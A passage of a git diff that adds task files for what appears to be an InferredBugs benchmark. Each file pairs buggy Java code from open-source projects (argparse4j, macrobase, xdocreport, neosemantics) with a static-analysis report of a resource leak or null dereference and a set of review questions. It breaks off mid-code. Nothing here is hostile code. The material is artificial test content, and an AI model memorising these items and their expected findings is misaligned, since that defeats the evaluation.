+        for (ArgumentImpl arg : optargs_) {
+            if (arg.isRequired() && !used.contains(arg)) {
+                throw new ArgumentParserException(String.format(
+                        "argument %s is required", arg.textualName()), this);
+            }
+        }
+        if (posargs_.size() > posargIndex) {
+            throw new ArgumentParserException("too few arguments", this);
+        }
+
+    }
+
+    private void checkRequiredMutex(ArgumentImpl[] used)
+            throws ArgumentParserException {
+        for (int i = 0; i < arggroups_.size(); ++i) {
+            ArgumentGroupImpl group = arggroups_.get(i);
+            if (group.isMutex() && group.isRequired() && used[i] == null) {
+                StringBuilder sb = new StringBuilder();
+                for (ArgumentImpl arg : group.getArgs()) {
+                    sb.append(arg.textualName()).append(" ");
+                }
+                throw new ArgumentParserException(String.format(
+                        "one of the arguments %sis required", sb.toString()),
+                        this);
+            }
+        }
+    }
+
+    private void populateDefaults(Map<String, Object> opts) {
+        for (ArgumentImpl arg : posargs_) {
+            if (arg.getDefaultControl() != Arguments.SUPPRESS) {
+                opts.put(arg.getDest(), arg.getDefault());
+            }
+        }
+        for (ArgumentImpl arg : optargs_) {
+            if (arg.getDefaultControl() != Arguments.SUPPRESS) {
+                opts.put(arg.getDest(), arg.getDefault());
+            }
+        }
+        for (Map.Entry<String, Object> entry : defaults_.entrySet()) {
+            opts.put(entry.getKey(), entry.getValue());
+        }
+    }
+
+    public String getProg() {
+        return prog_;
+    }
+
+    @Override
+    public void printVersion() {
+        printVersion(new PrintWriter(System.out));
+    }
+
+    @Override
+    public void printVersion(PrintWriter writer) {
+        writer.format("%s\n", version_);
+        writer.flush();
+    }
+
+    @Override
+    public String formatVersion() {
+        return version_;
+    }
+
+    @Override
+    public void handleError(ArgumentParserException e) {
+        if (e.getParser() != this) {
+            e.getParser().handleError(e);
+            return;
+        }
+        PrintWriter writer = new PrintWriter(System.err);
+        printUsage(writer);
+        writer.format("%s: error: %s\n", prog_, e.getMessage());
+        if (e instanceof UnrecognizedArgumentException) {
+            UnrecognizedArgumentException ex = (UnrecognizedArgumentException) e;
+            String argument = ex.getArgument();
+            if (prefixPattern_.match(argument)) {
+                String flagBody = prefixPattern_.removePrefix(argument);
+                if (flagBody.length() >= 2) {
+                    printFlagCandidates(flagBody, writer);
+                }
+            }
+        } else if (e instanceof UnrecognizedCommandException) {
+            UnrecognizedCommandException ex = (UnrecognizedCommandException) e;
+            String command = ex.getCommand();
+            printCommandCandidates(command, writer);
+        }
+        writer.flush();
+    }
+
+    /**
+     * Calculates Damerau–Levenshtein distance between string {@code a} and
+     * {@code b} with given costs.
+     * 
+     * @param a
+     *            String
+     * @param b
+     *            String
+     * @param swap
+     *            Cost to swap 2 adjacent characters.
+     * @param sub
+     *            Cost to substitute character.
+     * @param add
+     *            Cost to add character.
+     * @param del
+     *            Cost to delete character.
+     * @return Damerau–Levenshtein distance between {@code a} and {@code b}
+     */
+    private int levenshtein(String a, String b, int swap, int sub, int add,
+            int del) {
+        int alen = a.length();
+        int blen = b.length();
+        int dp[][] = new int[3][blen + 1];
+        for (int i = 0; i <= blen; ++i) {
+            dp[1][i] = i;
+        }
+        for (int i = 1; i <= alen; ++i) {
+            dp[0][0] = i;
+            for (int j = 1; j <= blen; ++j) {
+                dp[0][j] = dp[1][j - 1]
+                        + (a.charAt(i - 1) == b.charAt(j - 1) ? 0 : sub);
+                if (i >= 2 && j >= 2 && a.charAt(i - 1) != b.charAt(j - 1)
+                        && a.charAt(i - 2) == b.charAt(j - 1)
+                        && a.charAt(i - 1) == b.charAt(j - 2)) {
+                    dp[0][j] = Math.min(dp[0][j], dp[2][j - 2] + swap);
+                }
+                dp[0][j] = Math.min(dp[0][j],
+                        Math.min(dp[1][j] + del, dp[0][j - 1] + add));
+            }
+            int temp[] = dp[2];
+            dp[2] = dp[1];
+            dp[1] = dp[0];
+            dp[0] = temp;
+        }
+        return dp[1][blen];
+    }
+
+    private static class SubjectBody {
+        public String subject;
+        public String body;
+
+        public SubjectBody(String subject, String body) {
+            this.subject = subject;
+            this.body = body;
+        }
+    }
+
+    private static class Candidate implements Comparable<Candidate> {
+        public int similarity;
+        public String subject;
+
+        public Candidate(int similarity, String subject) {
+            this.similarity = similarity;
+            this.subject = subject;
+        }
+
+        @Override
+        public int compareTo(Candidate rhs) {
+            if (similarity < rhs.similarity) {
+                return -1;
+            } else if (similarity == rhs.similarity) {
+                return subject.compareTo(rhs.subject);
+            } else {
+                return 1;
+            }
+        }
+    }
+
+    private void printFlagCandidates(String flagBody, PrintWriter writer) {
+        List<SubjectBody> subjects = new ArrayList<SubjectBody>();
+        for (ArgumentImpl arg : optargs_) {
+            String flags[] = arg.getFlags();
+            for (int i = 0, len = flags.length; i < len; ++i) {
+                String body = prefixPattern_.removePrefix(flags[i]);
+                if (body.length() <= 1) {
+                    continue;
+                }
+                subjects.add(new SubjectBody(flags[i], body));
+            }
+        }
+        printCandidates(flagBody, subjects, writer);
+    }
+
+    private void printCommandCandidates(String command, PrintWriter writer) {
+        List<SubjectBody> subjects = new ArrayList<SubjectBody>();
+        for (String com : subparsers_.getCommands()) {
+            subjects.add(new SubjectBody(com, com));
+        }
+        printCandidates(command, subjects, writer);
+    }
+
+    /**
+     * Prints most similar subjects in subjects to body. Similarity is
+     * calculated between body and each {@link SubjectBody#body} in subjects.
+     * 
+     * @param body
+     *            String to compare.
+     * @param subjects
+     *            Target to be compared.
+     * @param writer
+     *            Output
+     */
+    private void printCandidates(String body, List<SubjectBody> subjects,
+            PrintWriter writer) {
+        List<Candidate> candidates = new ArrayList<Candidate>();
+        for (SubjectBody sub : subjects) {
+            if (sub.body.startsWith(body)) {
+                candidates.add(new Candidate(0, sub.subject));
+                continue;
+            } else {
+                // Cost values were borrowed from git, help.c
+                candidates.add(new Candidate(levenshtein(body, sub.body, 0, 2,
+                        1, 4), sub.subject));
+            }
+        }
+        if (candidates.isEmpty()) {
+            return;
+        }
+        Collections.sort(candidates);
+        int threshold = candidates.get(0).similarity;
+        // Magic number 7 was borrowed from git, help.c
+        if (threshold >= 7) {
+            return;
+        }
+        writer.write("\nDid you mean:\n");
+        for (Candidate cand : candidates) {
+            if (cand.similarity > threshold) {
+                break;
+            }
+            writer.format("\t%s\n", cand.subject);
+        }
+    }
+
+    public String getCommand() {
+        return command_;
+    }
+
+    public TextWidthCounter getTextWidthCounter() {
+        return textWidthCounter_;
+    }
+
+    public String getPrefixChars() {
+        return prefixPattern_.getPrefixChars();
+    }
+
+    public String getFromFilePrefixChars() {
+        return fromFilePrefixPattern_ == null ? null : fromFilePrefixPattern_
+                .getPrefixChars();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `InputStreamReader(...)` at line 894 is not released after line 900.
+**Note**: potential exception at line 897
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+java.lang.String[] ArgumentParserImpl.extendArgs(String,java.lang.String[],int)
+
+### Procedure Id:
+net.sourceforge.argparse4j.internal.ArgumentParserImpl.extendArgs(java.lang.String,java.lang.String[.75d20a04e400930108d29d3047fa4f11
+
+### File:
+src/main/java/net/sourceforge/argparse4j/internal/ArgumentParserImpl.java
+
+### Key:
+ArgumentParserImpl.java|extendArgs|RESOURCE_LEAK
+
+### Node Key:
+d54375129813b1c5d9f10eb00e12d6a9
+
+### Hash:
+d041866b45de94cbbb8344e744b7d48e
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5840/instruction.md b/inferredbugs-5840/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..27cab305ad9ee365cd809441c93c3e702253511b
--- /dev/null
+++ b/inferredbugs-5840/instruction.md
@@ -0,0 +1,153 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** macrobase
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package macrobase.analysis.classify;
+
+import macrobase.analysis.pipeline.stream.MBStream;
+import macrobase.analysis.result.OutlierClassificationResult;
+import macrobase.conf.MacroBaseConf;
+import macrobase.datamodel.Datum;
+import org.apache.commons.math3.linear.ArrayRealVector;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TemporaryFolder;
+
+import java.io.File;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.ArrayList;
+import java.util.List;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+public class DumpClassifierTest {
+    @Rule
+    public TemporaryFolder folder = new TemporaryFolder();
+
+    @Test
+    public void testDumpSmall() throws Exception {
+        MacroBaseConf conf = new MacroBaseConf();
+        ArrayList<Integer> attrs = new ArrayList<>();
+        attrs.add(1);
+        attrs.add(2);
+        OutlierClassifier dummy = new OutlierClassifier() {
+
+            MBStream<OutlierClassificationResult> result = new MBStream<>();
+
+            @Override
+            public MBStream<OutlierClassificationResult> getStream() throws Exception {
+
+                return result;
+            }
+
+            @Override
+            public void initialize() throws Exception {
+
+            }
+
+            @Override
+            public void consume(List<Datum> records) throws Exception {
+                for(Datum r : records) {
+                    result.add(new OutlierClassificationResult(r, true));
+                }
+            }
+
+            @Override
+            public void shutdown() throws Exception {
+
+            }
+        };
+
+        File f = folder.newFile("testDumpSmall");
+
+        DumpClassifier dumper = new DumpClassifier(conf, dummy, f.getAbsolutePath());
+        List<Datum> data = new ArrayList<>();
+        data.add(new Datum(attrs, new ArrayRealVector()));
+        data.add(new Datum(attrs, new ArrayRealVector()));
+        dumper.consume(data);
+
+        List<OutlierClassificationResult> results = dumper.getStream().drain();
+
+        assertEquals(results.size(), data.size());
+        OutlierClassificationResult first = results.get(0);
+        assertEquals(true, first.isOutlier());
+        assertEquals(1, first.getDatum().getAttributes().get(0).intValue());
+
+        Path filePath = Paths.get(dumper.getFilePath());
+        assertTrue(Files.exists(filePath));
+        Files.deleteIfExists(Paths.get(dumper.getFilePath()));
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.PrintWriter` acquired by call to `DumpClassifier(...)` at line 62 is not released after line 77.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DumpClassifierTest.testDumpSmall()
+
+### Procedure Id:
+macrobase.analysis.classify.DumpClassifierTest.testDumpSmall():void.f85021a54ba36ee5a10458b4669e9573
+
+### File:
+src/test/java/macrobase/analysis/classify/DumpClassifierTest.java
+
+### Key:
+DumpClassifierTest.java|testDumpSmall|RESOURCE_LEAK
+
+### Node Key:
+029769b47f6bc348a94d4e034c2162d6
+
+### Hash:
+98ca9f011fc83f63692785dbeef9d3db
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5847/instruction.md b/inferredbugs-5847/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..30cef2ba6bbc93c9908e44fea9c6c300b12a444c
--- /dev/null
+++ b/inferredbugs-5847/instruction.md
@@ -0,0 +1,143 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** xdocreport
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package fr.opensagres.xdocreport.document.pptx.preprocessor;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+import org.xml.sax.Attributes;
+
+import fr.opensagres.xdocreport.document.preprocessor.sax.BufferedElement;
+import fr.opensagres.xdocreport.document.preprocessor.sax.ISavable;
+
+public class APBufferedRegion extends BufferedElement {
+
+	private List<ARBufferedRegion> arBufferedRegions = new ArrayList<ARBufferedRegion>();
+
+	public APBufferedRegion(BufferedElement parent, String uri,
+			String localName, String name, Attributes attributes) {
+		super(parent, uri, localName, name, attributes);
+	}
+
+	@Override
+	public void addRegion(ISavable region) {
+		if (region instanceof ARBufferedRegion) {
+			arBufferedRegions.add((ARBufferedRegion) region);
+		} else {
+			super.addRegion(region);
+		}
+	}
+
+	public void process() {
+		Collection<BufferedElement> toRemove = new ArrayList<BufferedElement>();
+
+		int size = arBufferedRegions.size();
+		String s = null;
+		StringBuilder fullContent = new StringBuilder();
+		boolean fieldFound = false;
+		ARBufferedRegion currentAR = null;
+		ARBufferedRegion lastAR = null;
+		for (int i = 0; i < size; i++) {
+			currentAR = arBufferedRegions.get(i);
+			s = currentAR.getTContent();
+			if (fieldFound) {
+				fieldFound = !(s == null || s.length() == 0 || Character
+						.isWhitespace(s.charAt(0)));
+			} else {
+				fieldFound = s != null && s.indexOf("$") != -1;
+			}
+			if (fieldFound) {
+				fullContent.append(s);
+				toRemove.add(currentAR);
+			} else {
+				if (fullContent.length() > 0) {
+					lastAR.setTContent(fullContent.toString());
+					fullContent.setLength(0);
+					toRemove.remove(lastAR);
+				}
+			}
+			lastAR = currentAR;
+		}
+		if (fullContent.length() > 0) {
+			lastAR.setTContent(fullContent.toString());
+			fullContent.setLength(0);
+			toRemove.remove(lastAR);
+		}
+		super.removeAll(toRemove);
+
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `lastAR` last assigned on line 38 could be null and is dereferenced at line 53.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void APBufferedRegion.process()
+
+### Procedure Id:
+fr.opensagres.xdocreport.document.pptx.preprocessor.APBufferedRegion.process():void.579b039cf97b91a1fcf75a8998fbf77a
+
+### File:
+document/fr.opensagres.xdocreport.document.pptx/src/main/java/fr/opensagres/xdocreport/document/pptx/preprocessor/APBufferedRegion.java
+
+### Key:
+APBufferedRegion.java|process|NULL_DEREFERENCE
+
+### Node Key:
+3d9dbc165fb452387d1633d99dfb2bb9
+
+### Hash:
+7771df46f093da9e162f4cf11b2f748e
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5849/instruction.md b/inferredbugs-5849/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b8a8fae6756795cc9e88eacfe9bd5582f4c8e5e4
--- /dev/null
+++ b/inferredbugs-5849/instruction.md
@@ -0,0 +1,196 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** xdocreport
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (C) 2011 Angelo Zerr <angelo.zerr@gmail.com> and Pascal Leclercq <pascal.leclercq@gmail.com>
+ *
+ * All rights reserved.
+ *
+ * Permission is hereby granted, free  of charge, to any person obtaining
+ * a  copy  of this  software  and  associated  documentation files  (the
+ * "Software"), to  deal in  the Software without  restriction, including
+ * without limitation  the rights to  use, copy, modify,  merge, publish,
+ * distribute,  sublicense, and/or sell  copies of  the Software,  and to
+ * permit persons to whom the Software  is furnished to do so, subject to
+ * the following conditions:
+ *
+ * The  above  copyright  notice  and  this permission  notice  shall  be
+ * included in all copies or substantial portions of the Software.
+ *
+ * THE  SOFTWARE IS  PROVIDED  "AS  IS", WITHOUT  WARRANTY  OF ANY  KIND,
+ * EXPRESS OR  IMPLIED, INCLUDING  BUT NOT LIMITED  TO THE  WARRANTIES OF
+ * MERCHANTABILITY,    FITNESS    FOR    A   PARTICULAR    PURPOSE    AND
+ * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+ * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+ * OF CONTRACT, TORT OR OTHERWISE,  ARISING FROM, OUT OF OR IN CONNECTION
+ * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ */
+package fr.opensagres.xdocreport.document.docx.textstyling;
+
+import junit.framework.Assert;
+
+import org.junit.Test;
+
+import fr.opensagres.xdocreport.document.docx.preprocessor.HyperlinkInfo;
+import fr.opensagres.xdocreport.document.docx.preprocessor.HyperlinkRegistry;
+import fr.opensagres.xdocreport.document.docx.preprocessor.HyperlinkUtils;
+import fr.opensagres.xdocreport.document.docx.template.DocxContextHelper;
+import fr.opensagres.xdocreport.document.preprocessor.sax.BufferedElement;
+import fr.opensagres.xdocreport.document.textstyling.IDocumentHandler;
+import fr.opensagres.xdocreport.document.textstyling.ITextStylingTransformer;
+import fr.opensagres.xdocreport.document.textstyling.html.HTMLTextStylingTransformer;
+import fr.opensagres.xdocreport.template.IContext;
+
+public class DocxDocumentHandlerTestCase
+{
+
+    @Test
+    public void testBoldWithB()
+        throws Exception
+    {
+        IContext context = null;
+        BufferedElement parent = null;
+
+        ITextStylingTransformer formatter = HTMLTextStylingTransformer.INSTANCE;
+        IDocumentHandler handler = new DocxDocumentHandler( parent, context, "word/document.xml" );
+        formatter.transform( "<b>text</b>", handler );
+        Assert.assertEquals( "<w:r><w:rPr><w:b /></w:rPr><w:t xml:space=\"preserve\" >text</w:t></w:r>",
+                             handler.getTextBody() );
+    }
+
+    @Test
+    public void testBoldWithStrong()
+        throws Exception
+    {
+        IContext context = null;
+        BufferedElement parent = null;
+
+        ITextStylingTransformer formatter = HTMLTextStylingTransformer.INSTANCE;
+        IDocumentHandler handler = new DocxDocumentHandler( parent, context, "word/document.xml" );
+        formatter.transform( "<strong>text</strong>", handler );
+        Assert.assertEquals( "<w:r><w:rPr><w:b /></w:rPr><w:t xml:space=\"preserve\" >text</w:t></w:r>",
+                             handler.getTextBody() );
+    }
+
+    @Test
+    public void testItalicWithI()
+        throws Exception
+    {
+        IContext context = null;
+        BufferedElement parent = null;
+
+        ITextStylingTransformer formatter = HTMLTextStylingTransformer.INSTANCE;
+        IDocumentHandler handler = new DocxDocumentHandler( parent, context, "word/document.xml" );
+        formatter.transform( "<i>text</i>", handler );
+        Assert.assertEquals( "<w:r><w:rPr><w:i /></w:rPr><w:t xml:space=\"preserve\" >text</w:t></w:r>",
+                             handler.getTextBody() );
+    }
+
+    @Test
+    public void testItalicWithEm()
+        throws Exception
+    {
+        IContext context = null;
+        BufferedElement parent = null;
+
+        ITextStylingTransformer formatter = HTMLTextStylingTransformer.INSTANCE;
+        IDocumentHandler handler = new DocxDocumentHandler( parent, context, "word/document.xml" );
+        formatter.transform( "<em>text</em>", handler );
+        Assert.assertEquals( "<w:r><w:rPr><w:i /></w:rPr><w:t xml:space=\"preserve\" >text</w:t></w:r>",
+                             handler.getTextBody() );
+    }
+
+    @Test
+    public void testHyperlink()
+        throws Exception
+    {
+        IContext context = new MockContext();
+        BufferedElement parent = null;
+
+        ITextStylingTransformer formatter = HTMLTextStylingTransformer.INSTANCE;
+        IDocumentHandler handler = new DocxDocumentHandler( parent, context, "word/document.xml" );
+        formatter.transform( "<a href=\"http://code.google.com/p/xdocreport/\" >XDocReport</a>", handler );
+        Assert.assertEquals( "<w:hyperlink r:id=\"___rId0\" w:history=\"1\"> <w:proofErr w:type=\"spellStart\" /><w:r w:rsidRPr=\"001D30B5\"><w:rPr><w:rStyle w:val=\"XDocReport_Hyperlink\" /></w:rPr><w:t>XDocReport</w:t></w:r><w:proofErr w:type=\"spellEnd\" /></w:hyperlink>",
+                             handler.getTextBody() );
+
+        HyperlinkRegistry registry = DocxContextHelper.getHyperlinkRegistry( context, "word/document.xml" );
+        Assert.assertNotNull( registry );
+        Assert.assertEquals( 1, registry.getHyperlinks().size() );
+
+        HyperlinkInfo hyperlinkInfo = registry.getHyperlinks().get( 0 );
+        Assert.assertEquals( "___rId0", hyperlinkInfo.getId() );
+        Assert.assertEquals( "http://code.google.com/p/xdocreport/", hyperlinkInfo.getTarget() );
+        Assert.assertEquals( "External", hyperlinkInfo.getTargetMode() );
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `context` last assigned on line 90 could be null and is dereferenced by call to `DocxDocumentHandler(...)` at line 94.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DocxDocumentHandlerTestCase.testItalicWithEm()
+
+### Procedure Id:
+fr.opensagres.xdocreport.document.docx.textstyling.DocxDocumentHandlerTestCase.testItalicWithEm():vo.a9992953a0f619fbc76494dfc847ed03
+
+### File:
+document/fr.opensagres.xdocreport.document.docx/src/test/java/fr/opensagres/xdocreport/document/docx/textstyling/DocxDocumentHandlerTestCase.java
+
+### Key:
+DocxDocumentHandlerTestCase.java|testItalicWithEm|NULL_DEREFERENCE
+
+### Node Key:
+30861fd0fae948b706896bee46af5f74
+
+### Hash:
+3aa55cda1a6f8047a3ecaba299339b94
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5870/instruction.md b/inferredbugs-5870/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e81b14df04ff7ad903e2acdf99323c0c67278f9c
--- /dev/null
+++ b/inferredbugs-5870/instruction.md
@@ -0,0 +1,645 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** neosemantics
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package semantics;
+
+import java.io.BufferedWriter;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStreamWriter;
+import java.net.HttpURLConnection;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.net.URLConnection;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import java.util.stream.Stream;
+import org.eclipse.rdf4j.model.IRI;
+import org.eclipse.rdf4j.model.impl.SimpleValueFactory;
+import org.eclipse.rdf4j.model.util.URIUtil;
+import org.eclipse.rdf4j.model.vocabulary.XMLSchema;
+import org.eclipse.rdf4j.rio.RDFFormat;
+import org.eclipse.rdf4j.rio.RDFHandlerException;
+import org.eclipse.rdf4j.rio.RDFParseException;
+import org.eclipse.rdf4j.rio.RDFParser;
+import org.eclipse.rdf4j.rio.Rio;
+import org.eclipse.rdf4j.rio.helpers.BasicParserSettings;
+import org.neo4j.graphdb.GraphDatabaseService;
+import org.neo4j.graphdb.Label;
+import org.neo4j.graphdb.Node;
+import org.neo4j.graphdb.QueryExecutionException;
+import org.neo4j.graphdb.Relationship;
+import org.neo4j.graphdb.ResourceIterator;
+import org.neo4j.graphdb.schema.IndexDefinition;
+import org.neo4j.logging.Log;
+import org.neo4j.procedure.Context;
+import org.neo4j.procedure.Mode;
+import org.neo4j.procedure.Name;
+import org.neo4j.procedure.Procedure;
+import org.neo4j.procedure.UserFunction;
+import semantics.result.GraphResult;
+import semantics.result.NamespacePrefixesResult;
+import semantics.result.StreamedStatement;
+
+/**
+ * Created by jbarrasa on 21/03/2016. <p> RDF importer based on: 1. Instancdes of DatatypeProperties
+ * become node attributes 2. rdf:type relationships are transformed either into labels or
+ * relationships to nodes representing the class 3. Instances of ObjectProperties become
+ * relationships ( See https://jbarrasa.com/2016/06/07/importing-rdf-data-into-neo4j/ )
+ */
+public class RDFImport {
+
+  private static final boolean DEFAULT_TYPES_TO_LABELS = true;
+
+  private static final boolean DEFAULT_KEEP_CUSTOM_DATA_TYPES = false;
+
+  private static final long DEFAULT_COMMIT_SIZE = 25000;
+  private static final long DEFAULT_NODE_CACHE_SIZE = 10000;
+  public static final String PREFIX_SEPARATOR = "__";
+  public static final String CUSTOM_DATA_TYPE_SEPERATOR = "^^";
+  static final int URL_SHORTEN = 0;
+  static final int URL_IGNORE = 1;
+  static final int URL_MAP = 2;
+  static final int URL_KEEP = 3;
+  static final int PROP_OVERWRITE = 0;
+  static final int PROP_ARRAY = 1;
+  static final int PROP_REIFY = 2;
+
+  static final int RELATIONSHIP = 0;
+  static final int LABEL = 1;
+  static final int PROPERTY = 2;
+  static final int DATATYPE = 3;
+
+
+  private static final Pattern DATATYPE_SHORTENED_PATTERN = Pattern.compile(
+      "(.+)" + Pattern.quote(CUSTOM_DATA_TYPE_SEPERATOR) + "((\\w+)" +
+          Pattern.quote(PREFIX_SEPARATOR) + "(.+))$");
+  private static final Pattern DATATYPE_REGULAR_PATTERN = Pattern.compile(
+      "(.+?)" + Pattern.quote(CUSTOM_DATA_TYPE_SEPERATOR) + "([a-zA-Z]+:(.+))");
+
+  private static final Pattern SHORTENED_URI_PATTERN =
+      Pattern.compile("^(\\w+)__(\\w+)$");
+
+  private static final Pattern LANGUAGE_TAGGED_VALUE_PATTERN =
+      Pattern.compile("^(.*)@([a-z,\\-]+)$");
+
+  @Context
+  public GraphDatabaseService db;
+  @Context
+  public Log log;
+
+  public static RDFFormat[] availableParsers = new RDFFormat[]{RDFFormat.RDFXML, RDFFormat.JSONLD,
+      RDFFormat.TURTLE,
+      RDFFormat.NTRIPLES, RDFFormat.TRIG};
+
+  @Procedure(mode = Mode.WRITE)
+  public Stream<ImportResults> importRDF(@Name("url") String url, @Name("format") String format,
+      @Name(value = "params", defaultValue = "{}") Map<String, Object> props) {
+
+    final int handleVocabUris = (props.containsKey("handleVocabUris") ? getHandleVocabUrisAsInt(
+        (String) props.get("handleVocabUris")) : 0);
+    final boolean applyNeo4jNaming = (props.containsKey("applyNeo4jNaming") ? (boolean) props
+        .get("applyNeo4jNaming") : false);
+    final int handleMultival = (props.containsKey("handleMultival") ? getHandleMultivalAsInt(
+        (String) props.get("handleMultival")) : 0);
+    final List<String> multivalPropList = (props.containsKey("multivalPropList")
+        ? (List<String>) props.get("multivalPropList") : null);
+    final List<String> predicateExclusionList = (props.containsKey("predicateExclusionList")
+        ? (List<String>) props.get("predicateExclusionList") : null);
+    final List<String> customDataTypedPropList = (props.containsKey("customDataTypedPropList")
+        ? (List<String>) props.get("customDataTypedPropList") : null);
+    final boolean typesToLabels = (props.containsKey("typesToLabels") ? (boolean) props
+        .get("typesToLabels") : DEFAULT_TYPES_TO_LABELS);
+    final boolean keepLangTag = (props.containsKey("keepLangTag") ? (boolean) props
+        .get("keepLangTag") : false);
+    final boolean keepCustomDataTypes = (props.containsKey("keepCustomDataTypes") ? (boolean) props
+        .get("keepCustomDataTypes") : DEFAULT_KEEP_CUSTOM_DATA_TYPES);
+    final long commitSize = (props.containsKey("commitSize") ? (long) props.get("commitSize")
+        : DEFAULT_COMMIT_SIZE);
+    final long nodeCacheSize = (props.containsKey("nodeCacheSize") ? (long) props
+        .get("nodeCacheSize") : DEFAULT_NODE_CACHE_SIZE);
+    final String languageFilter = (props.containsKey("languageFilter") ? (String) props
+        .get("languageFilter") : null);
+    final boolean verifyUriSyntax = (props.containsKey("verifyUriSyntax") ? (Boolean) props
+        .get("verifyUriSyntax") : true);
+
+    ImportResults importResults = new ImportResults();
+
+    DirectStatementLoader statementLoader = new DirectStatementLoader(db,
+        (commitSize > 0 ? commitSize : 5000),
+        nodeCacheSize, handleVocabUris, handleMultival,
+        (multivalPropList == null ? null : new HashSet<String>(multivalPropList)),
+        keepCustomDataTypes,
+        (customDataTypedPropList == null ? null : new HashSet<String>(customDataTypedPropList)),
+        (predicateExclusionList == null ? null : new HashSet<String>(predicateExclusionList)),
+        typesToLabels, keepLangTag,
+        languageFilter, applyNeo4jNaming, log);
+    try {
+      checkIndexesExist();
+
